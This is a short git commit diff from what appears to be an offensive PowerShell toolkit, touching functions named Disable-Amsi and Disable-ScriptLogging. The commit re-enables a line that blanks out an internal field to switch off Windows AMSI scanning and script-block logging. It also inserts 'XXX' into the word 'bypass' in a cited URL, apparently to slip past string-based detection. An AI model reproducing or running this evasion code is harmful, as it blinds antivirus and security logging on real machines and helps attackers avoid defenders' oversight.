Quick fix

This commit is contained in:
mb 2019-06-19 15:51:04 +02:00
parent afaac0b552
commit 68db0339f5
2 changed files with 3 additions and 3 deletions

View File

@ -35,7 +35,7 @@ The approaches implemented in this script heavily rely on the previous work of:
- Matt Graeber: https://github.com/mattifestation/PSReflect
- Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160
- Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
- Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypXXXass-redux/
- Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
.PARAMETER DontDisableBlockLogging
@ -738,7 +738,7 @@ function Disable-Amsi
break
}
}
#$foo.SetValue($null,(New-Object Collections.Generic.HashSet[string]))
$foo.SetValue($null,(New-Object Collections.Generic.HashSet[string]))
Write-Host "[+] Finished applying technique 1"
return $k0
}

View File

@ -108,7 +108,7 @@ function Disable-ScriptLogging
break
}
}
#$foo.SetValue($null,(New-Object Collections.Generic.HashSet[string]))
$foo.SetValue($null,(New-Object Collections.Generic.HashSet[string]))
Write-Host "[+] Finished applying technique 1"
return $k0
}